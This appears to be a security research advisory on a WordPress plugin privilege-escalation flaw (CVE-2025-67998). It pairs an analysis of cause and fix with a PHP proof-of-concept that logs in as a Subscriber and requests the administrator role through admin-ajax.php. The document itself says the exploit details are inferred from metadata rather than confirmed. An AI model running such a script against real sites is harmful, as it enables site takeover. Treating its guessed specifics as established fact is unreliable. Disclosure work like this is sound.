Atomic Edge analysis of CVE-2025-67998 (metadata-based):
The Miraculous Elementor plugin for WordPress versions up to and including 2.0.7 contains an improper privilege management vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to escalate their privileges to a higher role, such as Administrator. The vulnerability has a CVSS score of 8.8 (High), indicating a severe impact on confidentiality, integrity, and availability.
Atomic Edge research identifies the root cause as CWE-269: Improper Privilege Management. This classification strongly suggests the plugin’s code lacks proper capability checks before executing sensitive user role or permission modification functions. The vulnerability likely exists within an AJAX handler or REST API endpoint that processes user-supplied role parameters. Without a code diff, this conclusion is inferred from the CWE classification and the WordPress plugin context, where such flaws commonly involve missing `current_user_can()` checks on functions like `wp_update_user()` or direct database writes to the `wp_usermeta` table.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker would send a crafted POST request to the WordPress AJAX endpoint (`/wp-admin/admin-ajax.php`). The request would target a specific plugin action, likely prefixed with `miraculous_el_` or similar. The payload would contain parameters instructing the plugin to update the attacker’s user capabilities or role, such as `role=administrator` or `capabilities[]=manage_options`. The exploit bypasses authorization checks because the vulnerable endpoint does not verify the requesting user has the `promote_users` capability before processing the update.
Remediation requires the plugin developer to implement proper authorization checks. The patched version (2.0.8) likely added a capability check, such as `if (!current_user_can(‘promote_users’)) { wp_die(); }`, before any user role modification logic. Additional fixes may include validating the target role against an allow list and ensuring the requesting user cannot elevate their own privileges beyond their authority. Input sanitization for the role parameter is also a standard companion fix.
Successful exploitation grants the attacker administrative privileges. This provides full control over the WordPress site, enabling complete compromise. An attacker can create new admin accounts, inject malicious code, deface the site, exfiltrate sensitive data, or install backdoors for persistent access. The impact is total loss of site integrity, confidentiality, and availability, aligning with the CVSS score’s High ratings for all three metrics.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67998 - Miraculous Elementor <= 2.0.7 - Authenticated (Subscriber+) Privilege Escalation
<?php
/**
* Proof of Concept for CVE-2025-67998.
* ASSUMPTIONS (based on CWE-269 and WordPress patterns):
* 1. The plugin registers an AJAX action hook for privileged users, e.g., 'wp_ajax_miraculous_el_update_profile'.
* 2. The handler function processes a 'role' or 'user_role' parameter without a capability check.
* 3. The endpoint is accessible to any authenticated user (Subscriber+).
* This PoC simulates the attack vector. The exact action name is inferred.
*/
$target_url = 'https://vulnerable-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // Attacker's low-privilege username
$password = 'subscriber_pass'; // Attacker's password
// Step 1: Authenticate to WordPress and obtain cookies/nonce.
// Many privilege escalation endpoints require a valid WordPress authentication cookie.
// Some may also require a nonce, but its absence or bypass is part of the vulnerability.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt', // Save session cookies
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true,
]);
$response = curl_exec($ch);
// Step 2: Send the privilege escalation payload to the AJAX endpoint.
// The action name is inferred from the plugin slug 'miraculous-el'.
// Common patterns: 'miraculous_el_update_user', 'miraculous_el_save_profile'.
$post_data = [
'action' => 'miraculous_el_update_profile', // INFERRED AJAX ACTION
'user_role' => 'administrator', // Parameter to escalate role
// Alternative parameter names: 'role', 'new_role', 'capabilities[]' => 'manage_options'
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HEADER => false,
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Response from AJAX endpoint:n";
echo $ajax_response . "n";
// A successful response may contain a success message or a redirect.
// Verify by attempting to access an admin page or checking the user's role via a separate request.
?>
